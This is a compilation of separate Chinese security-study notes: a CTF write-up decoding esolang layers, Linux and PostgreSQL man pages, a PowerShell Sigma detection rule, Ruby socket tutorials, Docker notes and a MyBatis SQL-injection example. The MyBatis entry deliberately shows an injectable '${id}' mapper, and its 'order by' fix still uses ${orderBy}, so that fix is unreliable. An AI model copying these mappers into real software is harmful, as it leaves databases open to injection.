789ce5d9bb11c3300c83e13e5b7a81f4693c7b7630ee807c91fbff288b141fe0fbf3e4bbeed7bb073eb616a121bdb01cd9ecfab48d2d820872e2e05643fa39db0ef40c1efc673772db3f3809badfbf50f1254fe9d12f97f348b94a4b6f1af262022fcaa5514990b718b2569e43826ee10e8b6c1beda7b97a0d60f2a334e44fed561d2339859b6628796038ef2d0cb745eb886ebf36a71a252823e56ec2ceaa7f83f16b9630cf12d72c693f6095e1288347cd0dd576929d9867ba1f8acc2061e5bf81cd43ee07a96521bad8dc381a11a431e6b4d76d4a7bc71599d094882c0512f84ea5f13760c5fc1bc283acd40d08ee62fb814fed0446b497523419f048cb44eb21cdfc88ee68593ca68ad64fbaf28a5858ea2518197a0871dd711e719d9c764b343a0939da39692b8780563a2d610a27a72cf2d0bb678668f0deaecc186a37a0b58ac9e1aede608cc3963342d67a29ccb401f4508a0f525ac9561919d2d04a2aa1275b4d4ae71ce8c013a7385a50866a119fc19bbf554a30b195844628ee89808dc902a6127c084375d0d8f80d9f8aa160520ac9e6b0d2c090b3ccf8c825e951bda78e7b44e7ff9c95d4b3912f076b06af91d754e304ee47f0ff778d3ba34a6b73dd5f8feb8435
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ cat out5.bin | tr -d '\01' | xxd -p -r > out6.bin
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ file out6.bin
out6.bin: zlib compressed data
```
`zlib` again:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ zlib-flate -uncompress < out6.bin > out7.bin
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ file out7.bin
out7.bin: ASCII text
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ cat out7.bin| head
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
```
Remember the hint: *a language that looks like a rainbow cat*. That must be [nya~](https://esolangs.org/wiki/Nya~). We'll use the official interpreter from [here](https://github.com/sech1p/nya.git).
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ nya/build/nya out7.bin
440697918422363183397548356115174111979967632241756381461523275762611555565044345243686920364972358787309560456318193690287799624872508559490789890532367282472832564379215298488385593860832849627398865422864710999039787979733217240717198641619578634620231344233376325369569117210379679868602299244468387044128773681334105139544596909148571184763654886495124023818825988036876333149722377075577809087358356951704469327595398462722928801
```
Notice that this doesn't look like HEX:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ nya/build/nya out7.bin | sed 's/./&\n/g' | LC_COLLATE=C sort -u | tr -d '\n'
0123456789
```
This is the real tricky part. Remember the hint: *a language that ended in 'ary' but I don't remember the full name*. Now, it turns out this language is actually [Golunar](https://esolangs.org/wiki/Golunar), which is a derivative of [Unary](https://esolangs.org/wiki/Unary). We can translate it to [Brainfuck](https://esolangs.org/wiki/Brainfuck) (*a language that is too vulgar to write here*) using [this script](https://codegolf.stackexchange.com/questions/52712/brainfk-to-unary-and-back/185968):
```python
>>> a=440697918422363183397548356115174111979967632241756381461523275762611555565044345243686920364972358787309560456318193690287799624872508559490789890532367282472832564379215298488385593860832849627398865422864710999039787979733217240717198641619578634620231344233376325369569117210379679868602299244468387044128773681334105139544596909148571184763654886495124023818825988036876333149722377075577809087358356951704469327595398462722928801
>>> print (''.join("><+-.,[]"[int(i)]for i in oct(a)[2:]if'L'>i))
<[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>----------<-]>-.<[>----------<-]>----.<+++++[>----------<-]>-------.<[>++++++++++<-]>+.<++++++[>++++++++++<-]>+++.<++++++[>----------<-]>----.<++++[>++++++++++<-]>++++.<+[>++++++++++<-]>+++++.<++++++[>----------<-]>--.<++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>++++.<++++++[>----------<-]>-.<[>++++++++++<-]>++++.<++++++[>++++++++++<-]>++.<+[>++++++++++<-]>+.<
```
Finally, we execute the Brainfuck script with any [online interpreter](https://www.dcode.fr/brainfuck-language), and get the flag: `CTF{pl34s3_n0_m04r}`.
|
sec-knowleage
|
require 'socket'
require 'shellwords'
server = TCPServer.new(9090)
while (connection = server.accept)
Thread.new(connection) do |conn|
conn.puts "gimme str 1"
s1 = conn.gets.chomp
conn.puts "gimme str 2"
s2 = conn.gets.chomp
exec = "python ./tlseorg.py --check #{Shellwords.shellescape s1} #{Shellwords.shellescape s2}"
out = `#{exec}`
puts out
if out == "Success\n"
conn.puts "FLAG"
else
conn.puts "failure"
end
conn.close
end
end
|
sec-knowleage
|
hexdump
===
显示文件十六进制格式
## 补充说明
**hexdump命令** 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。
### 语法
```shell
hexdump [选项] [文件]...
```
### 选项
```shell
-n length 只格式化输入文件的前length个字节。
-C 输出规范的十六进制和ASCII码。
-b 单字节八进制显示。
-c 单字节字符显示。
-d 双字节十进制显示。
-o 双字节八进制显示。
-x 双字节十六进制显示。
-s 从偏移量开始输出。
-e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"'。
```
每个格式字符串由三部分组成,每个由空格分隔,第一个形如a/b,b表示对每b个输入字节应用format1格式,a表示对每a个输入字节应用format2格式,一般a>b,且b只能为1,2,4,另外a可以省略,省略则a=1。format1和format2中可以使用类似printf的格式字符串,如:
```shell
%02d:两位十进制
%03x:三位十六进制
%02o:两位八进制
%c:单个字符等
```
还有一些特殊的用法:
```shell
%_ad:标记下一个输出字节的序号,用十进制表示。
%_ax:标记下一个输出字节的序号,用十六进制表示。
%_ao:标记下一个输出字节的序号,用八进制表示。
%_p:对不能以常规字符显示的用 . 代替。
```
同一行如果要显示多个格式字符串,则可以跟多个`-e`选项。
### 实例
```shell
hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F | ................
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F | ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F | !"#$%&'()*+,-./
```
|
sec-knowleage
|
# 配置IDEA
## JSP

配置lib目录

## mybatis+springboot
使用MyBatis和Spring Boot的示例代码的典型目录结构
```css
├── src
│ ├── main
│ │ ├── java
│ │ │ └── com
│ │ │ └── example
│ │ │ ├── controller
│ │ │ │ └── UserController.java
│ │ │ ├── mapper
│ │ │ │ └── UserMapper.java
│ │ │ ├── model
│ │ │ │ └── User.java
│ │ │ ├── service
│ │ │ │ └── UserService.java
│ │ │ └── MyApplication.java
│ │ └── resources
│ │ ├── mapper
│ │ │ └── UserMapper.xml
│ │ └── application.properties
│ └── test
│ └── java
│ └── com
│ └── example
│ └── service
│ └── UserServiceTest.java
└── pom.xml
```
创建一个maven项目,名字是example。

首先,您需要在pom.xml中添加以下依赖项:
```
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>mybatis-spring-boot-demo</artifactId>
<version>1.0.0</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<properties>
<java.version>11</java.version>
<mybatis.version>3.5.8</mybatis.version>
<mysql.connector.version>8.0.27</mysql.connector.version>
</properties>
<dependencies>
<!-- Spring Boot dependencies -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- MyBatis dependencies -->
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.3.0</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>${mysql.connector.version}</version>
</dependency>
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.4</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>2.0.6</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
```
MyApplication.java
```
package com.example;
import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@MapperScan("com.example.mapper")
public class MyApplication {
public static void main(String[] args) {
SpringApplication.run(MyApplication.class, args);
}
}
```
application.properties
```
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.url=jdbc:mysql://192.168.32.130:3306/test?characterEncoding=utf8&useSSL=true
spring.datasource.username=root
spring.datasource.password=123456
mybatis.type-aliases-package=com.example.model
mybatis.mapper-locations=classpath:mapper/*.xml
```
UserController.java
```
package com.example.controller;
import com.example.model.User;
import com.example.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
@RestController
public class UserController {
@Autowired
private UserService userService;
@GetMapping(value = "/users/{id}", produces = "application/json")
public ResponseEntity<User> getUser(@PathVariable String id) {
User user = userService.findById(id);
return ResponseEntity.ok(user);
}
}
```
User.java
```
package com.example.model;
public class User {
private Long id;
private String name;
private Integer age;
public User() {
// empty constructor required by some frameworks
}
public User(Long id, String name, Integer age) {
this.id = id;
this.name = name;
this.age = age;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
}
```
UserService.java
```
package com.example.service;
import com.example.mapper.UserMapper;
import com.example.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
public User findById(String id) {
return userMapper.findById(id);
}
}
```
UserMapper.java
```java
package com.example.mapper;
import com.example.model.User;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;
@Mapper
public interface UserMapper {
@Select("SELECT * FROM users WHERE id = '${id}'")
User findById(@Param("id") String id);
}
```
------
或者写成xml文件(src/main/resources/mapper/UserMapper.xml)
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
<select id="findById" resultType="User">
SELECT * FROM users WHERE id = #{id}
</select>
</mapper>
```
去掉原来的select语句
```java
@Mapper
public interface UserMapper {
User findById(@Param("id") Long id);
}
```
------
修复代码:将`$`修改为`#`
------
order by修复
```
<select id="findUsers" parameterType="map" resultType="User">
SELECT * FROM users
<if test="orderBy != null">
ORDER BY ${orderBy}
</if>
</select>
```
in 修复
```java
public class ListToStringTypeHandler extends BaseTypeHandler<List<?>> {
@Override
public void setNonNullParameter(PreparedStatement ps, int i, List<?> parameter, JdbcType jdbcType)
throws SQLException {
ps.setString(i, StringUtils.join(parameter, ","));
}
@Override
public List<?> getNullableResult(ResultSet rs, String columnName) throws SQLException {
return null;
}
@Override
public List<?> getNullableResult(ResultSet rs, int columnIndex) throws SQLException {
return null;
}
@Override
public List<?> getNullableResult(CallableStatement cs, int columnIndex) throws SQLException {
return null;
}
}
```
```xml
<select id="findUsersByIds" parameterType="java.util.List" resultType="User">
SELECT * FROM users
WHERE id IN (#{ids, typeHandler=com.example.type.ListToStringTypeHandler})
</select>
```
------
```
<select id="findUsersByIds" parameterType="java.util.List" resultType="User">
SELECT * FROM users WHERE id IN
<foreach collection="list" item="id" open="(" separator="," close=")">
#{id}
</foreach>
</select>
```
```
@Autowired
private UserMapper userMapper;
public List<User> findUsersByIds(List<Long> ids) {
return userMapper.findUsersByIds(ids);
}
```
like修复
```xml
<select id="findUsersByName" parameterType="String" resultType="User">
SELECT * FROM users
WHERE name LIKE CONCAT('%', #{name}, '%')
</select>
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SHUF 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
shuf \- 生成随机排列
.SH 概述
\fBshuf\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP]
.br
\fBshuf\fP \fI\,\-e \/\fP[\fI\,选项\/\fP]... [\fI\,参数\/\fP]...
.br
\fBshuf\fP \fI\,\-i LO\-HI \/\fP[\fI\,选项\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
把输入行按随机顺序输出到标准输出。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-e\fP, \fB\-\-echo\fP
将每个参数视为输入行
.TP
\fB\-i\fP, \fB\-\-input\-range\fP=\fI\,LO\-HI\/\fP
将 LO 到 HI 的每个数字视为输入行
.TP
\fB\-n\fP, \fB\-\-head\-count\fP=\fI\,行数\/\fP
最多输出指定的行数
.TP
\fB\-o\fP, \fB\-\-output\fP=\fI\,文件\/\fP
将结果输出到指定文件而非标准输出
.TP
\fB\-\-random\-source\fP=\fI\,文件\/\fP
从指定文件获得随机字节
.TP
\fB\-r\fP, \fB\-\-repeat\fP
输出行可以重复
.TP
\fB\-z\fP, \fB\-\-zero\-terminated\fP
以 NUL 作为行的分隔符,而非换行符
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Paul Eggert 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/shuf>
.br
或者在本地使用: info \(aq(coreutils) shuf invocation\(aq
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "EXPLAIN" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
EXPLAIN \- 显示语句执行规划
.SH SYNOPSIS
.sp
.nf
EXPLAIN [ ANALYZE ] [ VERBOSE ] \fIstatement\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
这条命令显示PostgreSQL规划器为所提供的语句生成的执行规划。 执行规划显示语句引用的表是如何被扫描的--- 是简单的顺序扫描,还是索引扫描等 --- 并且如果引用了多个表, 采用了什么样的连接算法从每个输入的表中取出所需要的记录。
.PP
显示出来的最关键的部分是预计的语句执行开销, 这就是规划器对运行该语句所需时间的估计(以磁盘页面存取为单位计量)。 实际上显示了两个数字:返回第一行记录前的启动时间, 和返回所有记录的总时间。对于大多数查询而言,关心的是总时间,但是, 在某些环境下,比如一个 EXISTS 子查询里, 规划器将选择最小启动时间而不是最小总时间(因为执行器在获取一条记录后总是要停下来)。 同样,如果你用一条 LIMIT 子句限制返回的记录数, 规划器会在最终的开销上做一个合理的插值以计算哪个规划开销最省。
.PP
ANALYZE 选项导致查询被实际执行,而不仅仅是规划。 它在显示中增加了在每个规划节点内部花掉的总时间(以毫秒计)和它实际返回的行数。 这些数据对搜索该规划器的预期是否和现实相近很有帮助。
.sp
.RS
.B "Important:"
要记住的是查询实际上在使用 ANALYZE 的时候是执行的。 尽管 EXPLAIN 会抛弃任何 SELECT 会返回的输出, 但是其它查询的副作用还是一样会发生的。 如果你在 INSERT,UPDATE,DELETE,或者 EXECUTE 语句里使用 EXPLAIN ANALYZE,而且还不想让查询影响你的数据, 用下面的方法:
.sp
.nf
BEGIN;
EXPLAIN ANALYZE ...;
ROLLBACK;
.sp
.fi
.RE
.sp
.SH "PARAMETERS 参数"
.TP
\fBANALYZE\fR
执行命令并显示实际运行时间。
.TP
\fBVERBOSE\fR
显示规划树完整的内部表现形式,而不仅仅是一个摘要。通常,这个选项只是在调试 PostgreSQL 的时候有用。 VERBOSE 输出可能是打印得工整的,也可能不是, 具体取决于配置参数 explain_pretty_print。
.TP
\fB\fIstatement\fB\fR
任何 \fBSELECT\fR, \fBINSERT\fR, \fBUPDATE\fR,
\fBDELETE\fR, \fBEXECUTE\fR, 或 \fBDECLARE\fR
语句。
.SH "NOTES 注意"
.PP
在 PostgreSQL 里只有很少的一些文档介绍有关优化器计算开销的问题。参考 Section 13.1 ``Using \fBEXPLAIN\fR'' 获取更多信息。
.PP
为了让 PostgreSQL 查询规划器在优化查询的时候做出合理的判断, 我们需要运行 ANALYZE 语句以记录有关数据在表中的分布的统计信息。 如果你没做过这件事情(或者如果自上次 ANALYZE 以来, 表中的数据统计分布发生了显著变化),那么计算出来的开销预计很可能与查询的实际属性并不对应, 因此很可能会选取一个比较差的查询规划。
.PP
在 PostgreSQL 7.3 以前,查询规划是以 NOTICE 消息的形式发出来的。 现在它的显示格式是一个查询结果(格式化成了类似一个有单个文本字段的表。)
.SH "EXAMPLES 例子"
.PP
显示一个对只有一个 int4 列和 10000 行的表的简单查询的查询规划:
.sp
.nf
EXPLAIN SELECT * FROM foo;
QUERY PLAN
---------------------------------------------------------
Seq Scan on foo (cost=0.00..155.00 rows=10000 width=4)
(1 row)
.sp
.fi
.PP
如果存在一个索引,并且我们使用一个可应用索引的 WHERE 条件的查询, EXPLAIN 会显示不同的规划:
.sp
.nf
EXPLAIN SELECT * FROM foo WHERE i = 4;
QUERY PLAN
--------------------------------------------------------------
Index Scan using fi on foo (cost=0.00..5.98 rows=1 width=4)
Index Cond: (i = 4)
(2 rows)
.sp
.fi
.PP
下面是一个使用了聚集函数的查询的查询规划:
.sp
.nf
EXPLAIN SELECT sum(i) FROM foo WHERE i < 10;
QUERY PLAN
---------------------------------------------------------------------
Aggregate (cost=23.93..23.93 rows=1 width=4)
-> Index Scan using fi on foo (cost=0.00..23.92 rows=6 width=4)
Index Cond: (i < 10)
(3 rows)
.sp
.fi
.PP
下面是一个使用 EXPLAIN EXECUTE 显示一个已准备好的查询规划的例子:
.sp
.nf
PREPARE query(int, int) AS SELECT sum(bar) FROM test
WHERE id > $1 AND id < $2
GROUP BY foo;
EXPLAIN ANALYZE EXECUTE query(100, 200);
QUERY PLAN
-------------------------------------------------------------------------------------------------------------------------
HashAggregate (cost=39.53..39.53 rows=1 width=8) (actual time=0.661..0.672 rows=7 loops=1)
-> Index Scan using test_pkey on test (cost=0.00..32.97 rows=1311 width=8) (actual time=0.050..0.395 rows=99 loops=1)
Index Cond: ((id > $1) AND (id < $2))
Total runtime: 0.851 ms
(4 rows)
.sp
.fi
.PP
注意这里显示的数字, 甚至还有选择的查询策略都有可能在各个 PostgreSQL版本之间不同--因为规划器在不断改进。 另外,ANALYZE 命令使用随机的采样来估计数据统计; 因此,一次新的 ANALYZE 运行之后开销估计可能会变化, 即使数据的实际分布没有改变也这样。
.SH "COMPATIBILITY 兼容性"
.PP
在 SQL 标准中没有EXPLAIN 语句。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# T1086-windows-powerhsell
## 来自ATT&CK的描述
PowerShell是Windows操作系统中包含的功能强大的交互式命令行界面和脚本环境。攻击者可以使用PowerShell执行许多操作,包括发现信息和执行代码。
PowerShell也可以用于从Internet下载并运行可执行文件,这些可执行文件可以从磁盘或内存中执行而无需接触磁盘。
使用PowerShell连接到远程系统需要管理员权限。
网络上提供了许多基于PowerShell的攻击性测试工具,包括Empire,PowerSploit和PSAttack。
还可以执行PowerShell命令/脚本,而无需通过.NET框架和Windows公共语言接口公开的PowerShell底层System.Management.Automation程序集的接口直接调用powershell.exe二进制文件。
## 测试案例
模拟场景:攻击者通过其视图窗口打开powershell
## 检测日志
windows 安全日志 进程创建事件
## 测试复现
暂无
## 测试留痕
windows 安全日志,事件ID4688
## 检测规则/思路
### sigma规则
```yml
title: T1086 非交互式PowerShell
description: 通过将powershell.exe以explorer.exe作为父级,来检测非交互式PowerShell活动。
status: experimental
author: 12306Bro
references: 无
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688
NewProcessName: '*\powershell.exe'
ParentProcessName: '*\explorer.exe'
condition: selection
falsepositives:
- Unknown
level: critical
```
### 建议
该检测方式存在大量误报,不建议使用。可对进程命令行参数信息进行有效的监控。
## 参考推荐
MITRE-ATT&CK-T1086
<https://attack.mitre.org/techniques/T1086/>
|
sec-knowleage
|
# Socket编程
---
**文章**
- [Ruby Socket 编程](https://www.runoob.com/ruby/ruby-socket-programming.html)
---
# 什么是 Sockets
应用层通过传输层进行数据通信时,TCP 和 UDP 会遇到同时为多个应用程序进程提供并发服务的问题。多个 TCP 连接或多个应用程序进程可能需要 通过同一个 TCP 协议端口传输数据。为了区别不同的应用程序进程和连接,许多计算机操作系统为应用程序与 TCP/IP 协议交互提供了称为套接字 (Socket)的接口,区分不同应用程序进程间的网络通信和连接。
生成套接字,主要有3个参数:通信的目的 IP 地址、使用的传输 层协议(TCP 或 UDP)和使用的端口号。Socket 原意是"插座"。通过将这3个参数结合起来,与一个"插座"Socket 绑定,应用层就可以和传输层通过套接字接口,区分来自不同应用程序进程或网络连接的通信,实现数据传输的并发服务。
Sockets 词汇解析:
选项 | 描述
- | -
domain | 指明所使用的协议族,通常为 `PF_INET`, `PF_UNIX`, `PF_X25`, 等等。
type | 指定 socket 的类型:SOCK_STREAM 或 SOCK_DGRAM,Socket 接口还定义了原始 Socket(SOCK_RAW),允许程序使用低层协议
protocol | 通常赋值 0。
port | port 是端口的编号,每个服务器都会监听客户端连接的一个或多个端口号,一个端口号可以是 Fixnum 的端口号, 包含了服务器名和端口。
hostname | 网络接口的标识符:
- 字符串, 可以是主机名或 IP 地址
- 字符串 "<broadcast>", 指定 INADDR_BROADCAST 地址。
- 0 长度的字符串, 指定 INADDR_ANY
- 一个整数,解释为主机字节顺序的二进制地址。
# 简单的客户端
以下我们通过给定的主机和端口编写了一个简单的客户端实例,Ruby `TCPSocket` 类提供了 `open` 方法来打开一个 socket。
```ruby
TCPSocket.open(hosname, port) # 打开一个 TCP 连接。
```
一旦你打开一个 Socket 连接,你可以像 `IO` 对象一样读取它,完成后,你需要像关闭文件一样关闭该连接。
以下实例演示了如何连接到一个指定的主机,并从 `socket` 中读取数据,最后关闭 `socket`:
```ruby
require 'socket' # Sockets 是标准库
hostname = 'localhost'
port = 2000
s = TCPSocket.open(hostname, port)
while line = s.gets # 从 socket 中读取每行数据
puts line.chop # 打印到终端
end
s.close # 关闭 socket
```
# 简单的服务
Ruby 中可以使用 `TCPServer` 类来写个简单的服务。`TCPServer` 对象是 `TCPSocket` 的工厂对象。
现在我们使用 `TCPServer.open(hostname, port)` 来创建一个 `TCPServer` 对象。
接下来调用 `TCPServer` 的 `accept` 方法,该方法会等到一个客户端连接到指定的端口,然后返回一个的 `TCPSocket` 对象,表示连接到该客户端。
```ruby
require 'socket' # 获取 socket 标准库
server = TCPServer.open(2000) # Socket 监听端口为 2000
loop { # 永久运行服务
client = server.accept # 等待客户端连接
client.puts(Time.now.ctime) # 发送时间到客户端
client.puts "Closing the connection. Bye!"
client.close # 关闭客户端连接
}
```
# 多客户端 TCP 服务
互联网上,大多服务都有大量的客户端连接。
Ruby 的 `Thread` 类可以很容易地创建多线程服务,一个线程执行客户端的连接,而主线程在等待更多的连接
```ruby
require 'socket' # 获取 socket 标准库
server = TCPServer.open(2000) # Socket 监听端口为 2000
loop { # 永久运行服务
Thread.start(server.accept) do |client|
client.puts(Time.now.ctime) # 发送时间到客户端
client.puts "Closing the connection. Bye!"
client.close # 关闭客户端连接
end
}
```
在这个例子中,socket 永久运行,而当 `server.accept` 接收到客户端的连接时,一个新的线程被创建并立即开始处理请求。而主程序立即循环回,并等待新的连接。
# 微小的 Web 浏览器
我们可以使用 socket 库来实现任何的 Internet 协议。以下代码展示了如何获取网页的内容:
```ruby
require 'socket'
host = 'www.w3cschool.cc' # web服务器
port = 80 # 默认 HTTP 端口
path = "/index.htm" # 想要获取的文件地址
# 这是个 HTTP 请求
request = "GET #{path} HTTP/1.0\r\n\r\n"
socket = TCPSocket.open(host,port) # 连接服务器
socket.print(request) # 发送请求
response = socket.read # 读取完整的响应
# Split response at first blank line into headers and body
headers,body = response.split("\r\n\r\n", 2)
print body # 输出结果
```
要实现一个类似 web 的客户端,你可以使用为 HTTP 预先构建的库如 Net::HTTP。
以下代码与先前代码是等效的:
```ruby
require 'net/http' # 我们需要的库
host = 'www.w3cschool.cc' # web 服务器
path = '/index.htm' # 我们想要的文件
http = Net::HTTP.new(host) # 创建连接
headers, body = http.get(path) # 请求文件
if headers.code == "200" # 检测状态码
print body
else
puts "#{headers.code} #{headers.message}"
end
```
|
sec-knowleage
|
# Docker
<!-- GFM-TOC -->
* [Docker](#docker)
* [一、解决的问题](#一解决的问题)
* [二、与虚拟机的比较](#二与虚拟机的比较)
* [三、优势](#三优势)
* [四、使用场景](#四使用场景)
* [五、镜像与容器](#五镜像与容器)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、解决的问题
由于不同的机器有不同的操作系统,以及不同的库和组件,在将一个应用部署到多台机器上需要进行大量的环境配置操作。
Docker 主要解决环境配置问题,它是一种虚拟化技术,对进程进行隔离,被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码,不需要开发人员学习特定环境下的技术,就能够将现有的应用程序部署在其它机器上。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png" width="400px"/> </div><br>
## 二、与虚拟机的比较
虚拟机也是一种虚拟化技术,它与 Docker 最大的区别在于它是通过模拟硬件,并在硬件上安装操作系统来实现。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/be608a77-7b7f-4f8e-87cc-f2237270bf69.png" width="500"/> </div><br>
### 启动速度
启动虚拟机需要先启动虚拟机的操作系统,再启动应用,这个过程非常慢;
而启动 Docker 相当于启动宿主操作系统上的一个进程。
### 占用资源
虚拟机是一个完整的操作系统,需要占用大量的磁盘、内存和 CPU 资源,一台机器只能开启几十个的虚拟机。
而 Docker 只是一个进程,只需要将应用以及相关的组件打包,在运行时占用很少的资源,一台机器可以开启成千上万个 Docker。
## 三、优势
除了启动速度快以及占用资源少之外,Docker 具有以下优势:
### 更容易迁移
提供一致性的运行环境。已经打包好的应用可以在不同的机器上进行迁移,而不用担心环境变化导致无法运行。
### 更容易维护
使用分层技术和镜像,使得应用可以更容易复用重复的部分。复用程度越高,维护工作也越容易。
### 更容易扩展
可以使用基础镜像进一步扩展得到新的镜像,并且官方和开源社区提供了大量的镜像,通过扩展这些镜像可以非常容易得到我们想要的镜像。
## 四、使用场景
### 持续集成
持续集成指的是频繁地将代码集成到主干上,这样能够更快地发现错误。
Docker 具有轻量级以及隔离性的特点,在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
### 提供可伸缩的云服务
根据应用的负载情况,可以很容易地增加或者减少 Docker。
### 搭建微服务架构
Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
## 五、镜像与容器
镜像是一种静态的结构,可以看成面向对象里面的类,而容器是镜像的一个实例。
镜像包含着容器运行时所需要的代码以及其它组件,它是一种分层结构,每一层都是只读的(read-only layers)。构建镜像时,会一层一层构建,前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
构建容器时,通过在镜像的基础上添加一个可写层(writable layer),用来保存着容器运行过程中的修改。
